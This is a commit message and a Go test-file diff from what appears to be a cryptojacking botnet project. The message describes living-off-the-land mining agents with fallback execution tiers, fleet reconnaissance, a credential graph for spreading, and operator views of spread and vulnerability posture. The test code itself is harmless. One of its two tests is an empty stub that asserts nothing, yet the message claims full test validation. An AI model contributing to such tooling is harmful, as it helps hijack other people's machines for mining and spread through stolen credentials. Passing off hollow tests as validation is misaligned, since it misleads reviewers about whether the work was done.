Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/pyopencl_test.go

@@ -0,0 +1,26 @@
+package miner
+
+import (
+	"testing"
+)
+
+func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) {
+	chain := []MiningMethod{MethodInProcess, MethodStratumDirect}
+	out := appendLinuxPyOpenCL(chain)
+	if len(out) != len(chain) {
+		t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out)
+	}
+}
+
+func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) {
+	if testing.Short() {
+		t.Skip("platform-specific")
+	}
+	origCUDA := DetectCUDA
+	origPy := DetectPyOpenCL
+	defer func() {
+		// restore stubs on non-linux
+	}()
+	_ = origCUDA
+	_ = origPy
+}